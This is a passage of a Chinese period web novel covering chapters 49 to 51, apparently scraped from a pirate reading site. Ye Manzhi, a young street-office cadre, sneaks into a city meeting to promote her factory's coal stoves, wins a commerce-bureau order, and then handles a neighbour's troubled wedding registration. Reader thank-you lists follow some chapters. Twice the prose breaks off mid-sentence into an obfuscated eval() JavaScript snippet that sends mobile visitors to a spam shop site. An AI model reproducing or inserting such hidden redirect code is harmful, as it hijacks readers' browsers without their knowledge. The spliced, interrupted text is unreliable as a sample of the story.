“借小叶干部吉言”吴峥嵘笑终于低头噙住她的嘴唇“现在可以亲了吗?” “你都已经亲上了还问……” 叶满枝被他紧紧箍在怀里氧气耗尽唇舌酸麻吻得四肢都没了力气。 “什么时候带我回家?”吴峥嵘捧着她的脸气息有些喘。 “你怎么那么着急啊?” “你不会想跟我这样厮混下去吧?” “说什么厮混?明明是谈恋爱!” 叶满枝顿时满脸羞红,这人的用词经常让她词穷。 她被吻得透不过气,有了晕船的感觉,含混道:“要不就元旦或者春节的时候吧? “嗯,元旦我去正式拜访老泰山。 * 叶满枝当晚回家以后,并没直接跟爸妈说吴峥嵘要登门的事。 她径直回了自己房间,反手关了门,才敢将围巾取下来。 拿出小镜子对着红肿的嘴唇照了照,然后双手捂脸,把自己摔到了床上。 她今天是因为什么被气哭的来着? 好吧,吴峥嵘还是很有用的,谈恋爱果然能让人暂时忘记烦恼。 她在床上蛄蛹来蛄蛹去,不小心压住了梨花的尾巴。 听到小猫咪咪叫,她赶忙把猫抱进怀里撸了撸。 “不知道吴峥嵘喜不喜欢猫,你到时候要不要陪我一起去16号院啊?叶满枝语气极尽诱哄,“他的房子可大了,还有大院子,你跟我一起去吧?不过,吴峥嵘爱干净,可能不会同意你上床待着!哎…… 鹅小说的域名qiexs↓(请来企 鹅小说 看最新章节 完整章节) “喵喵喵~ 她抱着猫说了半天悄悄话,又把今天的日记写了,在日记里将那些倒卖煤炉子的坏蛋痛骂了一顿,骂了整整两页纸,终于疏散了她心中郁气。 之后又元气满满地上班去了。 她已经想开了,煤炉子确实不是什么高技术含量的产品,被人从中渔利是没办法的。 相比于最初的5块钱建厂资金,最近厂里卖了些煤炉子,有了将近一百块的盈利。 距离给工人开工资还有些日子,所以,她打算给煤炉子升级换代一下。 首先是,把油漆桶换成干净的铁皮桶。 之前已经有顾客反映了,油漆桶不够美观,希望厂里可以生产一批更有档次的煤炉子。 其次是,根据她三哥的建议,给这批更有档次的煤炉子增加“二次风装置。 通过这个装置给蜂窝煤大量送风以后,可以提高煤炉子的点火速度,还能让一氧化碳再次燃烧,减少一氧化碳中毒的概率。 新炉子的成本比简易炉子贵了将近一块钱,叶满枝不知市场接受度如何,所以只让厂里试生产了五个装有二次风装置的新炉子,放到供销社里试卖一下。 结果炉子刚送去供销社两个小时,侯主任就往街道办打电话,让厂里再送十个炉子过去。 “我们的新炉子这么好卖吗? “比之前那个油漆桶强多了,侯主任呵呵笑,“说实话,那油漆桶确实不上档次,你想想,最先被推广使用蜂窝煤的这批人,都是什么人?大多数是干部呀! 干部按月领工资,兜里不差钱。 买一个炉子能用好几年,当然会选择质量更好的产品。 “你们往炉子上安装的这个鼓风机挺好的,一看就能跟普通炉子拉开档次。侯主任建议道,“以后多往供销社送这种新炉子吧,油漆桶卖得一般,你们再找找其他销路。 叶满枝对这个结果既好奇又惊喜,赶紧让厂里安排生产新炉子。 油漆桶、铁皮炉子、二次风炉子,按照4:2:4的比例生产。 她又接连观察了几天。 供销社那边确实是二次风炉子的走货量更大,而靠着四嫂和车夫走街串巷推销的,还是便宜的油漆桶炉子更好卖。 当然,最近市面上倒卖油漆桶炉子的人越来越多了,连废品收购站的油漆桶都嚷嚷着要涨价。 叶满枝劝自己别跟那些投机倒把分子纠结,先抓主要矛盾。 然而,发给报社的稿件一直没动静,她只好找领导拿主意。 “你把稿件发给哪个报社了? “日报和晚报都发了。 “以后发稿的事,你跟赵二贺联系。穆兰小声说,“他有个姑姑是晚报的编辑,把稿件给他,比较容易过稿。 叶满枝恍然大悟。 难怪再次进行工作分工的时候,穆主任会把她负责的宣传工作分给赵二贺呢。 根由原来在这里! 单位里有个能在宣传口说得上话的同事是件好事,叶满枝还挺高兴的。 她其实可以找吴峥嵘那位同学帮忙,对方在日报社工作,应该能说得上话。但人情越用越薄,不能总让吴峥嵘因为这种小事欠人情。 叶满枝把稿件交给了赵二贺,请他帮忙走个捷径,尽快将稿件发出去。 为此,她中午还请赵二贺吃了3个猪肉白菜馅的饺子。 “你把这半盒饺子都给我,赵二贺跟她商量,“我晚 上直接把稿子送到我姑家去。 叶满枝又往嘴里塞了一个饺子,心疼地将饭盒推给他,“你可得把我的事当成大事要事来办啊! “哈哈,赵二贺调侃道,“你们那个小煤炉厂能有什么大事,你去街上的其他厂子看看,大家都在搞增产节约竞赛呢,为了那个竞赛眼睛都熬红了。 叶满枝心有余悸道:“幸亏我们生产的是计划外产品,否则也要参加竞赛了。 中午把饺子给了赵二贺,她有点没吃饱,下班后先去厂食堂吃了晚饭。 等她吃过晚饭,又在院儿里溜达了一大圈,吴峥嵘才下班回来。 “你最近怎么下班越来越晚了?叶满枝问,“656也要参加增产节约竞赛吗? “参加,不过跟我关系不大,我在与总师室跟进项目,增产节约竞赛主要由几个副厂长负责。吴峥嵘笑道,“增产好说,节约也好说,既要增产又要节约就难办了。这种工作没人愿意干,市里让企业负责人去开增产节约大会,一张通知转了四手,没一个想去开会的。 叶满枝听得津津有味,她就爱听厂领导那些八卦。 “那最后到底让谁去呀? 她心里希望让周副厂长去受折磨。 不过,吴峥嵘却说:“不一定,会议还没开始呢,估计得沈厂长亲自去了。市委下发的会议通知,可能还是需要一把手出席。 “哎,我也是一把手呀!怎么没人通知我开会! 说到这里,叶满枝心里微微一动,问:“你说我也去参加你说的那个会议怎么样? “你接到通知了吗? “没有。 “那就没你们厂的事。吴峥嵘还是头一回见到主动要求开会的。 “哎呀,你不懂! 叶满枝觉得大厂人不理解小厂的苦,不想跟他多说了。 等她回了办公室以后,找到穆主任说:“主任,我听说市委要召开‘全市工厂企业负责人员会议’,你说我去参加一下咋样? 穆兰想问,企业负责人跟你有什么关系? 顿了几秒,又记起来,叶满枝现在也算是工厂负责人。 她这是拿豆包不当干粮了。 穆兰以为她年轻不懂规矩,只能解 释说:“市委召开的会议一般只要求大中型企业负责人出席大多是区级以上的国营单位咱们街道办的工厂不需要出席。” “我知道煤炉厂不用出席但是”叶满枝透露“这次会议是为了动员全市工厂企业进一步开展全面性的节约运动。要节约呀!咱们的蜂窝煤炉子不是正好应景吗?” “应景倒是挺应景关键是人家没通知你开会你怎么去呀?”穆兰已经被她的奇思妙想惊呆了。 “我知道开会的时间地点 穆兰也说不准呀! 说行吧她没接到会议通知。 说不行吧她也算是企业负责人虽然只是个临时的。 见她也拿不定主意叶满枝试探着说:“要不我去试试?如果人家让进我就进去开个会如果不让进我就回来。就怕人家以为我是捣乱的把我抓起来。主任到时候您可得去捞我呀!” 穆兰被她逗笑一笑就停不下来。 年轻人的工作热情高她实在不好泼冷水。 “哈哈哈行那你就去试试吧万一被人逮住了我负责去捞你哈哈哈哈……” 叶满枝被她笑得心里发毛。 不过要去“混会”的事在领导这里过了明路她就安心了。 市领导对她有什么看法她根本不在乎天高皇帝远市长也不可能管到街道办来。 她比较关心顶头上司的意见。 这回有了领导的首肯她给自己制作了一张“国营光明煤炉厂”厂长的工作证。 然后带着这张新鲜出炉的工作证去市委大礼堂开会了。 全市的大中型工厂少说也要有上百家除了市属工厂还有诸如656厂这样的中央直管企业。 临近会议时间时礼堂门口几乎全是各大工厂企业的头头脑脑。 叶满枝不但是个女同志还是个特别年轻的女同志。 让她给领导当秘书都嫌年轻更何况是企业负责人呢。 所以她今天特意穿了常月娥的棉袄戴了条黑色的围巾把自己打扮得成熟点。 然而市里的会议甭管她打扮得多老成 ,都是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254825|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易混进去的。 刚走到礼堂门口的签到处,她就被人拦了下来。 “同志,你是哪个单位的?” 叶满枝的心脏在胸腔里活蹦乱跳,故作淡定地掏出工作证和介绍信,“我是光明煤炉厂的厂长!” 小干事拿着她的工作证,在登记簿上对照着翻找了两遍,都没找到这个光明煤炉厂。 “同志,你是不是走错会场了?” “没走错呀!”叶满枝语气肯定地说,“我是来参加全市工厂企业负责人员会议的。” 小干事被她弄蒙了,去里面找了领导,“陈主任,这位同志说她是来开会的,但咱们的登记簿上没有她所在的那家单位啊。” 陈主任赶过来问:“同志,你确定收到会议通知了吗?” 叶满枝不敢在这种事上撒谎,如实道:“没收到通知,我是煤炉厂的厂长,听说市里要开‘全市工厂企业负责人员会议’,就直接来开会了。” 头一回遇到这种没接到通知,主动来开会的同志,陈主任瞪着她看了好半晌才委婉地说:“这位同志,没接到通知的单位,不需要来开会。” “这样啊,”叶满枝商量道,“反正我都已经来了,就进去听听领导传达的会议精神吧。” 陈主任这回不委婉了,“同志,这次参会人员是有一定范围的,范围以外的人不用参会。” “会议范围不是全市企业负责人吗?我们光明煤炉厂是正阳区的企业,应该也算在全市范围内吧?”叶满枝言辞恳切道,“领导,煤炉厂属于浪费比较大的企业,我们一直在寻找增产节约的办法,但成绩一直都不理想。刚听说市里在召开节约动员会议,我就立即赶来了!我想在会议上汲取一些兄弟单位的成功经验,再把市领导的最新指示,带回到厂里去。我们厂的职工都盼着呢!” 陈主任暗道,对于这种会议,大厂领导躲都躲不及,这里居然有一个主动撞上来的! 这次会议虽然规格高,其实不算什么特别重要的会议。 增产节约已经喊了好几个月了,属于老生常谈,这次开会主要是再次强调节约的重要性。 陈主任拿着她的工作证和介绍信去打电话核实身份信息了。 叶满枝提前跟穆主任报备过,根本不怕 他查。 她一直在门口等着,眼瞅着再有两分钟就要开会的时候,那位陈主任带着她的证件回来了。 “你跟着他进去开会吧,”陈主任指了指身边的小干事,“会议席位的铭牌是固定的,你在后面给这位同志安排个位置。” 叶满枝大喜过望,“谢谢陈主任,有了这次开会机会,我一定争取让我们煤炉厂成为今年的增产节约先进单位!” 陈主任对这种工作热情高涨的同志,还是很有好感的,摆摆手说:“快去开会吧,别迟到了!” 叶满枝就这样,第一次踏入了市委礼堂的大门。 小干事给她在最后一排安排了一个位置,像是要防着她捣乱,同时坐在了她旁边的位置上。 叶满枝不以为意,拿出钢笔和笔记本记录刘副市长的讲话内容。 甭管有用没用,她叶满枝也是见过市长的小干部啦! 哈哈。 领导主要强调了几个国营棉纺厂节约用棉花,以及油脂厂节约使用食用油的问题。 光是这一部分就讲了半个小时。 叶满枝心说,看来得提前囤点棉布和食用油了。 要不是原材料实在紧张,市长不至于反复强调这么多遍。 之后就是提倡各大国营厂节约用电和节约用煤的问题。 656厂的情况算是比较好的,因为承担着生产军用品的任务,厂里基本能24小时供电。 其他工厂就没这么幸运了,动不动就会停电大半天。 整个动员会开了一个多小时,叶满枝记了四页纸的内容。 会议结束时,刘副市长习惯性地问:“哪个单位的同志还有问题?咱们一起探讨一下。” 会上该讲的都讲了,一般不会有人提问,大家纷纷收拾纸笔准备离场。 坐在最后一排的叶满枝赶紧高高举起手臂,怕人家看不到她,她还稍稍站起来了一点。 刘副市长已经收拾笔记本了,经秘书提醒才发现最后一排有人举手。 “嗯,后排有位同志举手了,这位同志是哪个单位的?有什么问题?” “刘市长,我是光明煤炉厂的厂长,我叫叶满枝!”叶满枝起身说,“您刚才介绍的内容让我深受启发,省煤省电确实要从每一件小 事做起。不过我觉得除了工业用电用煤要节省生活用煤也要节省。我们光明煤炉厂最近生产了一种新型蜂窝煤炉子是专门针对市里正在推广的蜂窝煤使用的。” “使用这种蜂窝煤炉子以后点火速度快洁净安全能有效降低一氧化碳中毒的概率。普通七口之家每月至少可以节省1元钱的煤火费!” “刘市长 刘副市长听出她是来推销产品的心里顿时哭笑不得。 供销人员居然能混到市委的会议上来! 他抬手压了压笑着说:“这位小叶同志提的建议很好除了工业用煤用电要节省生活用煤用电也要节省。你所说的情况我了解了这样吧你先把这种新型煤炉子送给商业局和煤建公司的同志看一看之后要如何安排咱们再另行探讨。” 叶满枝本也没打算让市长帮她推广煤炉子。 有领导这句话她就知足了。 她没在会议上纠缠与市长对答了两句就坐下了。 不过她觉得这事得趁热打铁。 从市委的会议上离开后她回厂里提了两个新型煤炉子当天下午就去了一趟市商业局。 区教育局的大门有多难进她是领教过的所以她也没对市商业局抱有太大希望。 她打听了具体位置以后先去了之前开会见过的副局长的办公室。 被局长秘书拦下时叶满枝笑容和气地说:“同志我是光明煤炉厂的厂长是刘副市长让我来的!” 作者有话要说 一百个红包明天见~ 感谢在2024-08-1021:00:49~2024-08-1112:05:56期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:夏天吃薯条109瓶;数钱数到手抽筋80瓶;白日梦想家58瓶;初雪30瓶;地苏木、墨染槿涩、谢无忧、爱爬树的喵、MIN、觑觑眼婷婷、镏铢钳、ECHO、陆陆陆慢慢20瓶;小野盛盛15瓶;吃饭不积极思想有问题11瓶;我莫得感情、非羊、孔拉德.维尔卿、南溪、!!!!、胖胖、绵羊兴、水横波、小花、 第 50 章 扯虎皮拉大旗 陈征给张副局长当了三年秘书,在识人看人方面有着相当丰富的经验。 除了本单位的同事,来办公室面见张局的,通常只有三种人。 第一种是商业局下属八大公司,诸如糖酒公司、百货公司、煤建公司等单位的负责人。 第二种是同级合作单位,诸如市供销总社、市物资局等单位的领导。 第三种就是想走门路办事的关系户。 面前这位叶满枝同志,显见是第三种情况了。 作为领导秘书,陈征要提前了解情况,让领导心中有数,所以,他先旁敲侧击地打听起对方与刘副市长的关系。 叶满枝不敢跟市长攀关系,特别老实地说:“我们厂生产了一种新型蜂窝煤炉子,能在很大程度上节省煤炭开支。刘副市长让我将煤炉子送到商业局来,探讨出推广方案以后,配合市里开展增产节约运动。” 刘副市长的原话是,“先把煤炉子送给商业局和煤建公司看一看,之后要如何安排,咱们再另行探讨。” 叶满枝觉得这样效率太低,便擅自做了小小的艺术加工。 听了她的介绍,陈征心里有点拿不准了。 他接待的关系户不算少,其他人多少会暗示一下自己与领导的关系。 这位叶同志却是一副公事公办的态度。 他完全没想过对方有可能扯虎皮拉大旗。 那可是副市长! 他当了这么久的领导秘书,从没见过哪个小干部敢把市长的虎皮,扯到局长面前来。 毕竟这是一个电话就能核实的事情。 思及此,陈征让叶满枝在外间稍等,往市人委打了一通电话后,进门将情况与领导汇报了。 张副局长一边往文件上签字,一边问:“她带了哪个领导的条子来?” “没有条子,据说是刘副市长让她来的,我刚才给郭秘书打过电话。郭秘书说,今天刘市长在市里开会,会上确实提过煤炉子,不过刘市长也不清楚那煤炉子的情况,让咱们商业局的同志照章办事即可。” 陈征不由在心里叹气。 秘书工作难就难在要时刻揣摩领导的心思。 有时候刻意撇清关系的,未必真的没关系。 外面那个叶同志,瞧着 挺年轻,若是真的毫无背景的基层小干部,给她十个胆子也不敢直接找到局长办公室来。 张副局长收起钢笔,颔首说:“既然人已经来了,就让她进来吧,咱们先看看是什么煤炉子。” 叶满枝在秘书室等得越来越焦虑。 她直接跑来商业局,就是想一鼓作气把事办了。若是等到明天,经过仔细思考和权衡之后,她未必还会有今天这股勇气。 不过,局长办公室里一直没动静,让她心里有点打鼓。 这种情况,应该用不上穆主任来捞她吧? 她又没撒谎,确实是市长让她来商业局的,哪怕真的被人当场戳穿了,副局长也不能把她怎么样。 她这样顶多算是小题大做,最严重的后果就是被领导批评一顿。 总不至于把她的小干部身份撸了吧? 设想了各种可能后,她觉得没什么大事,于是被人喊进办公室时,她又把一颗心搁回了肚子里。 “叶同志,请坐吧。”张副局长态度还算客气,“先说说你们那个煤炉子的情况吧。” 看清她那张过分年轻的面孔后,张副局长先在心里快速搜寻了一遍,市里有哪位领导姓叶。 搜寻未果,他便不再多想了。 商业局算是热门单位,走门路攀关系的人不在少数。 既然郭秘书和面前这位叶同志都是公事公办的态度,那他也照章办事即可。 叶满枝坐到他对面的椅子上,尽量压下心里的紧张,露出一个还算得体的微笑。 “张局长,我之前参加过您主持的型煤推介会,不知您还有没有印象?” 张副局长对推介会有印象,对她早就没印象了。 但他还是点了点头。 “从推介会回去之后,我们基层干部就开始响应商业局的号召,大力推广使用蜂窝煤。但是第一批购买的蜂窝煤用完以后,很多家庭又重新用回了散煤。这个情况已经不是一个两个了……” 张副局长还没听过这种说法,打断道:“你这个结论是从哪里得来的?有具体数据吗?” “就是身边居民的反馈呀!大家普遍反映蜂窝煤不好烧,并不如宣传的那样省煤省钱。后来有同志发现,烧蜂窝煤不省煤,其实与使用的煤炉子有很大关系。 叶满枝向他介绍了普通煤炉子的弊端,然后着重推出了煤炉厂生产的这种新型煤炉子。 “领导,这是昨天的晚报,第三版的这篇报道就介绍了我们光明煤炉厂的蜂窝煤炉子。 张副局长接过报纸,快速扫了一眼标题,《煤炉要节能,更要安全——向市民们介绍一种上点火式蜂窝煤炉》。 在他浏览报道的时候,叶满枝继续介绍:“您上次在型煤推介会上说,一个7-8口之家,每月消耗蜂窝煤110块左右,这是夏天不用取暖时的消耗量。最近我们厂对冬季用煤情况也做了统计。 “使用普通煤炉的八口之家,每月大概要消耗140-150块蜂窝煤,而使用专用蜂窝煤炉以后,每月只消耗110-120块左右,折算下来相差一块钱。蜂窝煤加蜂窝煤炉的组合,除了可以节省家庭开支,每户每年还能节省700斤煤炭,节约劈柴300斤,少出垃圾310斤,能够极大地缓解市内的运输压力。 “如果全市五十万户居民全部改用蜂窝煤炉,全年就能为国家节约煤炭二十多万吨,用这些煤可以发电三亿两千万度,可以轧钢二百四十万吨,还能节约劈柴一亿多斤。 张副局长放下报纸问:“你这些数据是从哪里得来的? “通过《人民日报》和《滨江日报》报道过的一些数据推算的。 叶满枝没有这个本事,这些数字是三哥帮她计算的。 张副局长走到两个煤炉子跟前,直接上手将最上面的一块蜂窝煤点燃,放进了煤炉里。 他自家也在用蜂窝煤,是否省煤他没留意过,不过从点火速度来看,这种带鼓风机的煤炉子,确实要比普通煤炉子更快。 “你们这个炉子投产多长时间了?市场反馈怎么样? “投产一个月,叶满枝毫不谦虚地说,“市场反馈特别好! 张副局长呵呵笑,“反响要是真如你说得那般好,你也就不用找到商业局来了。 “领导,我来向您推荐蜂窝煤炉子,并不是因为市场反响不好,而是蜂窝煤炉子是计划外商品,没有市里的推广,很难往其他区县铺货。据我所知,咱们市里的蜂窝煤推广工作进展缓慢,很多老百姓还不习惯使用蜂窝煤,有的甚至用过蜂窝煤以后 又重新用回了散煤。” 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) “市里的一个煤站因此将蜂窝煤的批发价从每千块35元,降到了33.5元。与其为煤炭降价,不如给批发购买的居民赠送一个专用蜂窝煤炉子。用惯了蜂窝煤炉子,再想改用散煤反而不习惯了。” 张副主任没对她这番话发表看法,坐回书桌后,重新拿起那份晚报看了起来。 煤建公司是他分管的单位,蜂窝煤推广效果不佳他是清楚的。 下面的单位反馈说是因为蜂窝煤价格比散煤贵,老百姓一时不容易接受,推广有困难。 倒是从来没人提过煤炉子的问题。 叶满枝安静地坐在对面,隔了不知多久,才听他问:“你们煤炉厂的规模不大吧?日产量能有多少?” 煤炉厂只有七个工人,最近技术熟练了以后,每天最多能生产一百个炉子。 但是这个数字放到商业局肯定是不够看的,所以,她在心里快速盘算一番后,一咬牙说:“我们厂规模不大,但工人实行计件工资制,根据市场行情随时调整日产量,少则六七十,多则三四百。如果需要的话,我们厂可以把煤炉子的制作方式贡献出来,让有需要的市民,在家自行制作蜂窝煤炉子。” 张副局长惊讶地看向她:“你们厂真这么有魄力?” “我们厂是依附蜂窝煤发展起来的,蜂窝煤推广得好,厂里的产品才有销路。”叶满枝义正词严道,“冬季正是用煤旺季,只要能帮市里快速推广蜂窝煤,我们煤炉厂可以做出适当的牺牲。” 反正煤炉子制作简单,即使她不说制作方式,人家也能做出来。 与其那样,还不如大方地卖个人情呢。 “你反映的这个情况,局里要开会讨论一下,”张副局长说,“小叶同志,你先回去等通知吧。” * 叶满枝把两个煤炉子留下,独自离开了商业局。 刚回到街道办,就被接到市委电话的穆兰,喊去询问了此行的细节。 叶满枝一五一十地讲了,遗憾道:“我看张副局长不冷不热的,这事恐怕不好办。” 穆兰却摇头说:“你尽快给煤炉厂扩充人手,多招一些工人吧。” “主任,现在招人是不是太早了啊?厂里还有不少积压产品呢。” “这事你听我的,赶紧组织人手扩大生产规模。 穆兰听她介绍了情况以后,觉得事情有门儿。 如果小叶找的是个科长、副科长,未必会有好结果。 但她直接拉着副市长的大旗,高调地去了副局长那里,很难不被人当成关系户。 穆兰这回没再大撒手,第二天就帮着叶满枝一起组织招工,寻找仓库,甚至还让人去其他废品收购站订购了一千个油漆桶。 叶满枝每天胆战心惊,生怕盲目扩大规模,会把厂子搞黄了。 没几天就在下巴上起了一个大疖子。 常月娥见不得闺女愁成这样,安慰道:“反正扩建是你们主任的主意,要是真把厂子搞垮了,也不是你的责任,你就安心干活。 叶满枝怏怏地点头,暂时只能这样安慰自己了。 煤炉厂又招聘了15个生产工人,好在这些工人是新手,生产效率还不高,让工厂保持着每天生产200个煤炉子的速度半死不活地运转着。 每增加200个炉子,叶满枝心里就悬起来一分。 仓库里堆积的上千个煤炉子,像好几座大山似的,压在她心头。 半个月后,就在穆兰也开始心虚的时候,市商业局煤建处的考察组突然不声不响地来到了光明煤炉厂。 一行五六个人,在叶满枝的带领下,参观了煤炉厂的车间和仓库。 他们这个街道小厂的车间在居民家里,委实拿不出手,好在仓库库存还有些看头,让考察组一行比较满意。 煤建处长当天就给光明煤炉厂下了一个4000只简易煤炉子的订单。 要求三天内交付1000只,剩下的在一个月内结清。 这批简易煤炉将进驻全市各大煤站和煤建门市部,搭配蜂窝煤销售。 由于订单数量大,而且是煤站送给批发客户的赠品。 煤炉厂每只炉子的出厂价只有一块五毛三,比卖给供销社的出厂价低了将近两毛钱。 即便如此,也足够这个小厂存活下来了。 为了妥善完成这笔订单,穆主任把街道办所有人员都调集去了煤炉厂。 势必要让煤炉子按时交付。 煤炉厂是街道办的全资工厂,4000个炉子能够 截留的利润,足以让街道办过个肥年了。 * 煤炉厂人手增加以后,叶满枝反而清闲了下来。 好多老百姓讲究“有钱没钱,娶个媳妇回家过年,所以年底和春节前是结婚登记的旺季。 最近这几天,街道办每天都有新人排队登记。 由于工作量太大,凤姨一个人忙不过来,在检查过叶满枝这几个月的练字成果以后,终于点头让叶满枝往结婚证上写字了。 叶满枝等这一刻等了小半年,得到凤姨首肯的时候,甚至比拿到煤建处的订单还激动! 她收了新人的喜糖,将一笔一划写好的结婚证递出去,笑着说:“恭喜二位啊,祝你们和和美美,共同奔向社会主义新生活。 一对新人欢欢喜喜地走了,叶满枝一边收拾材料,一边喊下一位,结果一抬头竟然意外见到了郑东妹。 “东妹,你怎么这时候来了?开介绍信吗? 郑东妹跟四嫂一起去话剧团当学徒,一个学化妆,一个学白案。 上个月都从话剧团出徒了。 不过,郑东妹比四嫂幸运。 街道办在光明街开了一家理发店,穆主任把她招进去当了理发师傅。 郑东妹剪头手艺一般,但梳头和烫头的手艺很好,去街道理发店工作以后,经常带着烫头工具为居民上门 服务,群众反响很不错。 若不是有郑东妹的强烈对比,四嫂的心态也不至于崩成那样。 郑东妹往叶满枝的办公桌上放了一把水果糖,难得有些羞涩地说:“小叶干部,我是来领结婚证的! “啊? 不止叶满枝,街道办全员都望向了郑东妹。 连一向四平八稳的凤姨都露出了惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254826|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情。 就凭郑家那个条件,即使是最能说会道的媒婆,也不愿意接郑东妹的生意。 她本身年纪不小了,家里有个瘫痪的哥哥,还有一对不事生产的父母。 原本薛巧儿能帮她分担一些,可是薛巧儿离婚后就搬了出去,郑家只剩她一个壮劳力。 一个人养四张嘴,这婚事真的不好谈。 而且街道众人想得更多的是,郑东妹要是嫁出去了,郑家另外三口人可怎么办呀? 到时候郑家 可就是妥妥的救济户了! 叶满枝回过神来,笑着说:“恭喜你呀!你对象呢,领结婚证哪有一个人来的!” “他还在外面拉活呢,我先带着材料来排队填表,他临近中午的时候再过来。” “那行,你把两个人的户口册、介绍信和居民证都给我,我帮你填表。” 郑东妹刚去参加街道组织的第二期扫盲班,认识的字还不足以填写登记申请表,只能由叶满枝帮着填。 接过户口册以后,叶满枝先去看了男方的情况。 整本户口册上只有一页户籍信息卡。 户主赵强,27岁,未婚,运输工人。 介绍信是运输合作社开的,证明他是社里的三轮车夫。 看到介绍信,叶满枝终于记起这个赵强是何许人了。 当初调查薛巧儿卖X嫖X的案子时,好几个车夫被喊去了派出所。 其中就有这个二百五赵强。 他也是唯一用工分雇薛巧儿打扫卫生的车夫。 刘金宝打着帮忙的幌子,凑到叶满枝身边探查情况,见到赵强的名字后,惊愕地问:“郑东妹,你对象是赵强啊?你俩咋……” 他想说你俩咋能凑到一起呢,话到嘴边又变成了,“你俩咋这么有缘呢!” 赵强可是因为薛巧儿进过派出所的! 郑东妹搓搓手说:“我俩以前就认识,上次我家着火的时候,也是他把我哥背出来的,我觉得他人挺好的。” 穆兰走过来笑道:“赵强这小伙子确实不错,无父无母照样把日子过得有声有色,你们能凑到一起彼此照应,也算是一桩良缘!” “他过日子是挺好的。”郑东妹不是嘴巧的人,干巴巴地回了一句就没话说了。 穆兰关心道:“你们结婚什么时候摆酒席?新房设在你家,还是在赵强那边?” 街道众人都听出,她这是变相打听郑家另外三人的归属问题。 不由纷纷竖起耳朵。 “我们先领证,酒席的事之后再商量,要办的话就在我家办,以后我跟赵强就住在我家。” 闻言,穆主任心里实在是五味杂陈。 她一边担心郑家三人没有着落,一边又觉得赵强有些吃亏。 小伙子年纪轻轻就 无父无母,户口本上只剩他一个人了。 入赘郑家,就要由他挑起郑家的大梁。 好几张吃饭的嘴,哪是那么好养的! 郑东妹是个能干的姑娘,但赵强这婚结得,负担也太重了。 而且郑家老两口惯会拿捏儿女,真不是什么省油的灯。 这些话,穆兰只能在心里想想,人家是来领证结婚的,大喜的日子不能给人添晦气。 “赵强那小伙子不错,跟你父母和哥哥应该能相处得来,有个顶事的男人在家,你也能安心了。 郑东妹连忙点头说:“赵强和我爸妈都相处挺好的,最近还带着我爸出门拉活儿了呢! 闻言,大家再次震惊了! 郑大爷连糊纸盒的工作都不愿意做,他能出去拉活儿? “你爸真出去拉活儿了?他身体能受得了吗? “赵强说我爸总在家待着,骨头都硬了,得让他出去松散松散,所以每天早上拉活的时候,把我爸也带上。 众人:“…… 这可真是太阳打西边出来了。 无论如何,郑家在往好的方向发展,街道众人内心还是替他们高兴的。 穆主任了解过情况后,就放心回去工作了。 郑东妹看着叶满枝填表,时不时还要眺向窗外,寻找赵强的身影。 临近午休时,办公室的木门被人大力拉开,一股寒风顺着棉布帘子钻进来。 坐在门边的叶满枝正要提醒来人随手关门,那人却一把拉住郑东妹的手臂说:“快别等了,赶紧跟我出去看看! 郑东妹认出他是车队的,急忙问:“怎么了? “郑大爷跟赵强因为拉活的事吵了起来,郑大爷拦着赵强,不让他跟你扯证。赵强那小子手上没轻没重,来人尽量小心地措辞,“他真是不小心的,不小心把你爸的门牙打掉了…… 作者有话要说 一百个红包,明天见~ 感谢在2024-08-1112:05:56~2024-08-1212:06:02期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:45226612、梦醒不知、Jelly、456322191个; 感谢灌溉 营养液的小天使:Can\''t109瓶;金子62瓶;一口八个、拷贝猪猪60瓶;渝白、大兜兜军团、咪兔50瓶;江畔49瓶;我们的征途是星辰大海45瓶;非羊、匪漪、布布生莲华、灌汤包、苦茶飞飞30瓶;阿茶28瓶;306577927瓶;棉棉棉花25瓶;miss菇奈、我是番茄脑袋、康康、爱冬眠的猪008、毛毛虫、hubud、墨染槿涩、一只白兔子、只是一串数字、刘锦鲤、别叫我上班呀、Amy、啊呀在哪、梦醒不知20瓶;芑叶、MOMO16瓶;四伍二十、Jo15瓶;年年玛奇朵14瓶;3560429113瓶;沂柠苡檬12瓶;老妈想吃肉、不要受委屈!、要发大财、蓉默默、罗小妞妞、妙哉妙哉、呦呦言、澄雨繁叶、山顶洞人、土豆狂魔biubiubiu、widely21、羽童童的小羽儿、幽婈、我爱海韵、椿皮、lily@、庞家二闺女、朱萸、49648064、toto500、二美啊、洛洛华城、15459207、溜溜~、甜菜、1152651、想做一颗小星星、ECHO、爱困的雪碧、呵呵哒、123、人间好季节、橙野枳也、今天没吃药感觉自己萌、夏尔、手心10瓶;玲达8瓶;蓝色水杯、小鱼、花好月圆6瓶;坏宝宝猪、哇汪汪、云云、原罪-蛋蛋、陪你一起穿秋裤rio、土豆妈妈、橙嘉岚澜、青矜.?、影牙、今天也很困、20883862、呦呦、tianxiawukeng、双马尾胖虎、爱情买断、不更请发假条、碧落、lee圈圈、暗中讨饭、地球媛住民、绵羊兴、做梦都想一夜暴富( 第 51 章 “我对象就是你吴... 结婚登记当天,新姑爷把老丈人的门牙打掉了。 即使是见多识广的街道干部,也是头一回听说这种奇葩事。 